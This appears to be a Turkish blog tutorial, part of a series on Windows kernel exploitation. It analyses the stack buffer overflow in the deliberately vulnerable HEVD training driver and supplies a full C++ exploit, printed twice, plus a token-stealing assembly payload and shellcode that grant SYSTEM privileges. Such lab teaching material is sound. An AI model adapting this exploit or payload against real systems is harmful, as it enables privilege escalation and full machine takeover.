Windows Kernel Exploitation 4 - Stack tabanlı Bufferoverflow açığı

Kernel Mode ile ilgili olarakta; kullanıcı modunun aksine burada herşey ile ilgili olarak tam olarak erişim mevcuttur (CPU, Hafıza, sürücüler..). Yine kullanıcı modunun tersi olarak herhangi bir özel sanal alan mevcut değildir. Tüm kodlar, kernel modda yer alan...

Windows Kernel Exploitation 4 - Stack tabanlı Bufferoverflow açığı

Windows Kernel Explotation ile ilgili olan yazı serimize kaldığımız yerden devam ediyorum. Seriyle ilgli yazılan ilk iki yazıda gerekli ortamın ve gerekli araçların hazırlanması, son yazı ise Token erişimi ve Shell code yazımı hakkında olmuştu. Bugünkü yazımız ise zaafiyet içerin sürücülerde yer alan stack tabanlı BufferOverFlow zaafiyeti ile ilgili olacak.

1- Windows Kernel Exploitation – Lab ortamını kurma ve ilk erişim

2- Windows Kernel Exploitation 2 – HEVD Kurulumu

3- Windows Kernel Exploitation 3 -Token Erişimi ve Shellcode yazımı

Kaynak Koda Bakış

Herşeye başlamadan önce ilk olarak HEVD tarafından bize sağlanan zaafiyetli kodlara gözatmamız bizim açımızdan yararlı olacaktır. ufferOverflowStack.c kodlarına baktığımızda

`> // Bu modül, Yığın (stack) güvenlik açığında arabellek taşmasını gösteren fonksiyonları uygular

#include "BufferOverflowStack.h"

#ifdef ALLOC_PRAGMA

#pragma alloc_text(PAGE, TriggerBufferOverflowStack)

#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)

#endif // ALLOC_PRAGMA
/// Yığın (stack) güvenlik açığında ara bellek taşmasını tetikleme

/// The pointer to user mode buffer 
/// Size of the user mode buffer 
/// NTSTATUS

 __declspec(safebuffers)

NTSTATUS
TriggerBufferOverflowStack(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
PAGED_CODE();
__try
{
// Ara belleğin kullanıcı modunda olup olmadığının doğrulanması

ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));

DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);

DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);

DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);

DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

  
#ifdef SECURE

// Güvenlik Notu: Burada geliştirici KernelBuffer boyutuna eşit bir boyutu // RtlCopyMemory()/memcpy()'e ilettiği için güvenlidir. Dolayısıyla taşma olmayacaktır.

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");

// Güvenlik açığı Notu: Geliştirici burada, kullanıcı tarafından sağlanan boyutun, KernelBuffer boyutundan daha büyük veya eşit olup-olmadığını doğrulamadan, direkt olarak RtlCopyMemory()/memcpy() öğesine ilettiği için vanilla Stack tabanlı bir taşma güvenlik açığıdır.

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
/// Buffer Overflow Stack Ioctl Handler

NTSTATUS
BufferOverflowStackIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
SIZE_T Size = 0;
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
if (UserBuffer)
{
Status = TriggerBufferOverflowStack(UserBuffer, Size);
}
return Status;
}`

Kullanıcı (User) Modu ve Kernel (Çekirdek) Modu İletişimi

Kullanıcı Modu ile ilgili olarak; herhangi bir uygulama çalıştığı zaman, Windows tarafından her çalışan bir uygulama için işlem oluşturulur. Daha sonrasında bu işlemde çalışan uygulama için özel sanal adres (private virtual address) oluşturur. Bu oluşturulan özel adres alanları sadece bir uygulamaya ait olduğu içinde diğer uygulamalar tarafından değiştirilemez. Bu yüzden kullanıcı modunda çalışan bir uygulama crash olduğu zaman, sadece o uygulamayı etkiler. Ek bir bilgi olarakta bu mod içerisinde çalıştırılan uygulamalar için oluşturulan sanal adres alanları (virtual address space) limitli bir yapıya sahiptir. Çünkü buradaki amaç bütünlüğün dağılmasına önlem almak diyebiliriz.

Kernel Mode ile ilgili olarakta; kullanıcı modunun aksine burada herşey ile ilgili olarak tam olarak erişim mevcuttur (CPU, Hafıza, sürücüler..). Yine kullanıcı modunun tersi olarak herhangi bir özel sanal alan mevcut değildir. Tüm kodlar, kernel modda yer alan paylaşımlı tek bir sanal adres alanında çalışır. Eğer kernel mode çalışan bir uygulama crash olursa, tüm işletim sistemide crash olabiliyor. Burada ek olarak normalde sürücüler, kernel mode içerisinde yürütülür. Fakat bazı sürücülerin user mode içerisinde de çalışıyor. Bu yüzden bu tarz sürücüler user mode drivers olarak adlandırılıyor.

Yukarıda söz ettiğimiz gibi aygıt sürücüleri çekirdek modu nesneler olduğu için onlara doğrudan kullanıcı modundan erişemiyoruz. Bunun yerine sürücülerle doğrudan etkileşimler bulumabilmek için tutamaç (handle) dediğimiz yol ile bunu sağlarız. Buradaki tutamaçı object, pipe, file etc olarak düşünebiliriz. Kullanıcı modundan sürücülerle etkileşimle bulunmanın ilk amacı, bu tutamacı belirtilen sürücü aygıtına sembolik bir bağlantı aracılığıyla elde etmek olacaktır. Şuanki uğraştığımız paketlerdeki sembolik bağlantı da aygıt sürücüsü olan \HackSysExtremeVulnerableDriverdir. Windows’da CreateFileA işlevinin lpFileName argumanında bir sürücünün sembolik bağlantısı belirtilerek çekirdek mod sürücüsüne bir tutamaç alınabilir. Örnek olarak aşağıdaki kod bloğuna bakabiliriz:

HANDLE CreateFileA(
  LPCSTR                lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);

Aygıt sürücüsünün tutamacısını (handle) aldıktan sonra RPS (I/O request packets) aracılığıyla IOCTLs (I/O control codes)ları kullanabiliriz.

Kullanıcı modunda çalışan uygulamaların, çekirdek modu sürücüleri ile iletişim kurmalarını sağlayan DeviceIoConotrol adından bir WindowsAPI işlevi mevcuttur. Daha düşük bir seviyede bu işlev ise bir eylem gerçekleştirmek üzere belirtilen aygıt sürücüsüne bir kontrol kodu göndermek için kullanılır. Genellikle IOCTL kodları farklı kod rütinlerine kod oluşturur. Zaafiyet araştırmacıları bazen güvenlik açığı bulunan kodu belirler ve hangi IOCTL kodunun onları güvenlik açığından etkilenen koda götüreceğimi görmek için bu adımları izlerler. Bir program düşününki birden fazla rutine veya fonksiyona sahip ve buradaki ICOTL bir ağ geçiti denetleyicisi konumundadır bu yüzden IOCTL kodunun söz konusu rutine karşılık gelip-gelmediğine bağlı olarak kodla iletişime girmenize izin verebilecek veya vermeyecektir.

BOOL DeviceIoControl(
  HANDLE       hDevice,
  DWORD        dwIoControlCode,
  LPVOID       lpInBuffer,
  DWORD        nInBufferSize,
  LPVOID       lpOutBuffer,
  DWORD        nOutBufferSize,
  LPDWORD      lpBytesReturned,
  LPOVERLAPPED lpOverlapped
);

Yukarıdaki kod bloğuna baktığımızda ilk işlevin (function) bağımsız değişkeni, aygıt sürücüsü için elde edilen tanıcıtıya bir başvurudur.

Bu kontrol kodları veya eylemleri bir IRP (I/O Request Packet) aracılığla belirtilen sürücüye gönderilir. IRP’ler bir eylemi gerçekleştirmek için gerekli tüm parametreleri içeren veri yapılarıdır. Aşağıda MS dökümanlarından alınan bir IRP yapısı mevcuttur:

typedef struct _IRP {
  CSHORT                    Type;
  USHORT                    Size;
  PMDL                      MdlAddress;
  ULONG                     Flags;
  union {
    struct _IRP     *MasterIrp;
    __volatile LONG IrpCount;
    PVOID           SystemBuffer;
  } AssociatedIrp;
  LIST_ENTRY                ThreadListEntry;
  IO_STATUS_BLOCK           IoStatus;
  KPROCESSOR_MODE           RequestorMode;
  BOOLEAN                   PendingReturned;
  CHAR                      StackCount;
  CHAR                      CurrentLocation;
  BOOLEAN                   Cancel;
  KIRQL                     CancelIrql;
  CCHAR                     ApcEnvironment;
  UCHAR                     AllocationFlags;
  PIO_STATUS_BLOCK          UserIosb;
  PKEVENT                   UserEvent;
  union {
    struct {
      union {
        PIO_APC_ROUTINE UserApcRoutine;
        PVOID           IssuingProcess;
      };
      PVOID UserApcContext;
    } AsynchronousParameters;
    LARGE_INTEGER AllocationSize;
  } Overlay;
  __volatile PDRIVER_CANCEL CancelRoutine;
  PVOID                     UserBuffer;
  union {
    struct {
      union {
        KDEVICE_QUEUE_ENTRY DeviceQueueEntry;
        struct {
          PVOID DriverContext[4];
        };
      };
      PETHREAD     Thread;
      PCHAR        AuxiliaryBuffer;
      struct {
        LIST_ENTRY ListEntry;
        union {
          struct _IO_STACK_LOCATION *CurrentStackLocation;
          ULONG                     PacketType;
        };
      };
      PFILE_OBJECT OriginalFileObject;
    } Overlay;
    KAPC  Apc;
    PVOID CompletionKey;
  } Tail;
} IRP;

IOCTL kodu, IOCTL kodunu yöneten IRP_MJ_DEVICE_CONTROL belirtilerek MdlAddress üyesi aracılığyla yönetilir. Konumuz tam olarak Windows Internals olmadığı için buraya kadarki bilgilerin bizim işimize epey yarayacaktır. Başka bir zaman inşallah bununla ilgili olarak da başka bir yazı yayınlanmış olacağım.

Zaafiyet Analizi

Yazıya girişte BufferOverflowStack.c ait kaynak kodları belirtmiştim. Şimdi oradan kesitlerle devam edeceğiz.

// <summary>
/// Buffer Overflow Stack Ioctl Handler
/// </summary>
/// <param name="Irp">The pointer to IRP</param>
/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
BufferOverflowStackIoctlHandler(
    _In_ PIRP Irp,
    _In_ PIO_STACK_LOCATION IrpSp
)
{
    SIZE_T Size = 0;
    PVOID UserBuffer = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    UNREFERENCED_PARAMETER(Irp);
    PAGED_CODE();

    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
    Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;

    if (UserBuffer)
    {
        Status = TriggerBufferOverflowStack(UserBuffer, Size);
    }

    return Status;
}

Yukarıdaki kod parçacığında, koda başlamadan önce Buffer Overflow Stack Ioctl Handler adında bir yorum bırakılmış. Ve buradan anlışalacağı gibi bu bir IOCTL işleyicisidir. Yani bir IOCTL işleyicisi, verilen olan ICOTL rutini için tasarlanmış bir ICOTL kodunu kabul edecektir.

Diğer kod parçacıklarından birine daha detaylı baktığımızda;

DbgPrint("[+] Triggering Buffer Overflow in Stack\n");

//Güvenlik açığı Notu: Geliştirici burada, kullanıcı tarafından sağlanan boyutun, KernelBuffer boyutundan daha büyük veya eşit olup-olmadığını doğrulamadan, direkt olarak
RtlCopyMemory()/memcpy() öğesine ilettiği için vanilla Stack tabanlı bir taşma güvenlik açığıdır.

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

Burada yer alan RtlCopyMemory, belleği bir hedef konuma kopyalan bir rutindir. Anlaşılacağı gibi ara bellek, gerçek bir boyutta herhangi bir doğrulama yapılmadan doğrudan belirtilen konuma kopyalanır.

Son olarak ise BufferOverflowStackIoctlHandler() ve TriggerStackOverflow() işlevleri arasında tam olarak neler olduğuna baktığımıza;

Doğru bir IOCTL kodu BufferOverflowStackIoctlHandler() işlevine dönüştürülürse eğer, bir UserBuffer ve Size parametresi kolayca kullanılabilir. Biri kullanıcı girişini (UserBuffer) kabul eder ve biri de kullanıcı tarafından sağlanan arabellek boyutunu (size) kabul eder.

Bu UserBuffer ve Size ile birlikte direkt olarak TriggerBufferOverflowStack() işlevine kopyalanacaktır. Burada TriggerBufferOverflow() güvenlik açığını direkt olarak içeren bir yerdir. Bu işlev daha sonra kullanıcıdan gelen verileri herhangi bir boyutta alır ve RtlCopyMemory() işlevi aracılığıyla doğrudan KernelBuffer parametresine kopyalar. KernelBuffer burada çekirdek mod içerisinde yer alır.

İncelemenin bu kısmına kadar anlaşıldığı gibi HEVD içinde bir yığın taşması durumu olduğunu biliyoruz.

IDA Pro ile analiz

İlgili serimin 2 yazısında Debugee adlı sanal makinemizde OSRLoader adlında bir araç kullanmıştık. Bu araçla birlikte ise HEVD.sys adlı bir dosyayı kullanmıştık. Şimdi bu dosyamızı IDA Pro ile birlikte açıyoruz.

IDA Pro ile açtığımızda hemen sol tarafta Function Window içerisinde yer alan fonksiyonlara göz gezdiriyoruz. Burada IOCTLS‘larla IRP isteklerini işleyen IrpDeviceIoCtHandler fonksiyonunu göreceksiniz. İlgili fonksiyona tıkladığımızda yukarıda gördiğünüz grafikte yer alan dallanmış-budaklanmış çok sayıda IOCTL görülecektir. Bunun sebebi ise bir IRP’nin isteğini yerine getirebilecek geçerli IOCTL’i bulana kadar devam etmesidir.

Grafikte biraz gözattığımızada BufferOverflowStackIoctlHandler işlevini rahatlıkla görebiliyoruz. Bu fonksiyona gelmeden önceki grafikte üst kısımda yer alan tarafta BufferOverflowStackIoctlHandler()’a referans veren kısım yukarıda yer almaktadır.

Referans veren kisma baktığımızda bu işlevin sonunda BufferOverflowStackIoctlHandler() referans vereceğini biliyourz. Yukaridaki kısmın son talimatına baktığımızda JA‘yı görüyoruz. Biliyoruz ki bu talimat, yukarıdaki lea eax, ecx-0x222003h talimatına atıfta bulunacaktır. Bu komut sıfır değeri verirse, sonunda IOCTL codumuzu yığın taşması koşulunun oluştuğu yere geçirecek olan BufferOverflowStackIoctlHandler()‘a işlevine ulaştıracağız. Yani temel olarak IOCTL olarak 0x222003h değerini gönderirsek, savunmasız kod parçasıyla etkileşime geçebiliriz.

StackOverflowIoctlHandler() işlevine baktığımızda, sonunda TriggerStackOverflow() işlevine gideceğiz. Bu işlevde neler olduğuna baktığımızda:

Yukarıda görüldüğü gibi -800 bytes (onluk sistemde 2048 yapar) KernelBuffer’ın uzunluğudur. Ancak kaynak kod analizlerinde olduğu gibi şunu da biliyoruz ki KernelBuffer‘a kopyalanacak ara bellek boyut açısından denetlenemez. 2048 bytes‘ın üzerinde herhangi bir değer verdiğimiz zaman çekirdek çökecek ve mavi ekran hatası ile karşılaşmış olacağız.

Shellcode Yazımı

Windows Kernel Exploitation 3 -Token Erişimi ve Shellcode yazımı

Zaafiyetle ilgili yazacağımız exploite geçmeden önce öncelikli olarak Shellcode’umuzu edinip, sonrasında ise derleyeceğiz ve elimize yaklaşık 2 Kb’lık bir dosya geçecek. Ortaya çıkan dosyayı HxD yardımıyla birlikte açıp, daha sonra Edit->Copy As kısmına gelip -hangi dil ile yazmayı düşünüyorsanız- seçim işlemimizi yapıyoruz ve sonrasında exploit’e dahil edeceğiz.

   0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1,
	0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D,
	0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED,
	0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00,
	0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00,
	0x00, 0x00, 0x61, 0x31, 0xC0, 0x5D, 0xC2, 0x08, 0x00

Exploit Yazımı

Exploit kodumuz (c++) aşağıda yer almaktadır.

#include <Windows.h>
#include <string.h>
#include <stdio.h>
#include "payload.h"

#define USE_INLINE

#define EIP_OFFSET 2080 //offset of the address in the buffer that will overwrite the EIP

#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";

HANDLE open_device(const char* device_name)
{
    HANDLE device = CreateFileA(device_name,
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL
    );
    return device;
}

void close_device(HANDLE device)
{
    CloseHandle(device);
}

BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{
    LPVOID payload_ptr = NULL;
    
#ifdef USE_INLINE
    printf("Using inline payload\n");
    payload_ptr = &TokenStealingPayloadWin7;
#else
    printf("Using shellcode payload\n");
    //allocate executable memory for the shellcode:
    LPVOID shellc_ptr = VirtualAlloc(0, sizeof(kShellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (shellc_ptr)
        memcpy(shellc_ptr, kShellcode, sizeof(kShellcode));
    payload_ptr = shellc_ptr;
#endif

    if (payload_ptr == NULL) {
        printf("[-] Payload cannot be NULL\n");
        return FALSE;
    }
    const size_t bufSize = EIP_OFFSET + sizeof(DWORD);
    char* lpInBuffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);

    RtlFillMemory(lpInBuffer, bufSize, 0x41);

    DWORD* address_field = (DWORD*)(lpInBuffer + EIP_OFFSET);
    *address_field = (DWORD)(payload_ptr);

    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(device,
        ioctl_code,
        lpInBuffer,
        EIP_OFFSET + sizeof(DWORD),
        NULL, //outBuffer -> None
        0, //outBuffer size -> 0
        &size_returned,
        NULL
    );
    //release the input bufffer:
    HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);

#ifndef USE_INLINE
    //release the memory with the shellcode:
    if (shellc_ptr) {
        VirtualFree(shellc_ptr, sizeof(kShellcode), MEM_RELEASE);
        shellc_ptr = NULL;
    }
#endif

    return is_ok;
}

int main()
{
    HANDLE dev = open_device(kDevName);
    if (dev == INVALID_HANDLE_VALUE) {
        printf("Failed to open the device! Is HEVD installed?\n");
        system("pause");
        return -1;
    }
    
    send_ioctl(dev, HACKSYS_EVD_IOCTL_STACK_OVERFLOW);
    system("cmd.exe");
    close_device(dev);
    system("pause");
    return 0;
}#include <Windows.h>
#include <string.h>
#include <stdio.h>
#include "payload.h"

#define USE_INLINE

#define EIP_OFFSET 2080 //offset of the address in the buffer that will overwrite the EIP

#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";

HANDLE open_device(const char* device_name)
{
    HANDLE device = CreateFileA(device_name,
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL
    );
    return device;
}

void close_device(HANDLE device)
{
    CloseHandle(device);
}

BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{
    LPVOID payload_ptr = NULL;
    
#ifdef USE_INLINE
    printf("Using inline payload\n");
    payload_ptr = &TokenStealingPayloadWin7;
#else
    printf("Using shellcode payload\n");
    //allocate executable memory for the shellcode:
    LPVOID shellc_ptr = VirtualAlloc(0, sizeof(kShellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (shellc_ptr)
        memcpy(shellc_ptr, kShellcode, sizeof(kShellcode));
    payload_ptr = shellc_ptr;
#endif

    if (payload_ptr == NULL) {
        printf("[-] Payload cannot be NULL\n");
        return FALSE;
    }
    const size_t bufSize = EIP_OFFSET + sizeof(DWORD);
    char* lpInBuffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);

    RtlFillMemory(lpInBuffer, bufSize, 0x41);

    DWORD* address_field = (DWORD*)(lpInBuffer + EIP_OFFSET);
    *address_field = (DWORD)(payload_ptr);

    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(device,
        ioctl_code,
        lpInBuffer,
        EIP_OFFSET + sizeof(DWORD),
        NULL, //outBuffer -> None
        0, //outBuffer size -> 0
        &size_returned,
        NULL
    );
    //release the input bufffer:
    HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);

#ifndef USE_INLINE
    //release the memory with the shellcode:
    if (shellc_ptr) {
        VirtualFree(shellc_ptr, sizeof(kShellcode), MEM_RELEASE);
        shellc_ptr = NULL;
    }
#endif

    return is_ok;
}

int main()
{
    HANDLE dev = open_device(kDevName);
    if (dev == INVALID_HANDLE_VALUE) {
        printf("Failed to open the device! Is HEVD installed?\n");
        system("pause");
        return -1;
    }
    
    send_ioctl(dev, HACKSYS_EVD_IOCTL_STACK_OVERFLOW);
    system("cmd.exe");
    close_device(dev);
    system("pause");
    return 0;
}

İkinci olarak Shellcode’umuzu oluştururken elde ettiğimiz değerlerle ilgili olarak payload.h adında diğer bir dosyamızda yer alıyor.

#include <Windows.h>

/*
original payload by Ashfaq Ansari:
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Payloads.c#L63
modified to preserve the reference counter
 */
 
#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID
 
__declspec(naked) VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad                               ; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax                         ; Set ZERO
        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                             ; _KTHREAD is located at FS:[0x124]

        mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process

        mov ecx, eax                         ; Copy current process _EPROCESS structure

        mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

        mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
        mov edi, [ecx + TOKEN_OFFSET]        ; Get current process token
        and edx, 0xFFFFFFF8      ; apply the mask on SYSTEM process token, to remove the referece counter
        and edi, 0x7             ; apply the mask on the current process token to preserve the referece counter
        add edx, edi             ; merge AccessToken of SYSTEM with ReferenceCounter of current process
        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                             ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub

        popad                                ; Restore registers state

        ; Kernel Recovery Stub
        xor eax, eax                         ; Set NTSTATUS SUCCEESS
        pop ebp                              ; Restore saved EBP
        ret 8                                ; Return cleanly
    }
}

unsigned char kShellcode[] = {
	0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1,
	0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D,
	0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED,
	0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00,
	0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00,
	0x00, 0x00, 0x61, 0x31, 0xC0, 0x5D, 0xC2, 0x08, 0x00
};

Visual Studio’da build ettikten sonra herhangi bir hata zinciri ile karşılaşmadığınız takdirde gerekli exe dosyasının oluşacaktır. Daha sonrasında exe dosyasını çalıştırdığımızda sistemde yetkili olduğumuzu göreceksiniz.

Bunun haricinde yukarıdaki görüntüde gördüğünüz üzere Debugger sanal makinemizde Windbg çıktısını da bu şekilde göreceksiniz.

Sabırla okuduğunuz için teşekkürler. Serinin bir sonraki yazısında görüşmek üzere.

Referanslar

1- hasherezade

2- MSDN

3- HackSysteam Github

4- DeviceIoConotrol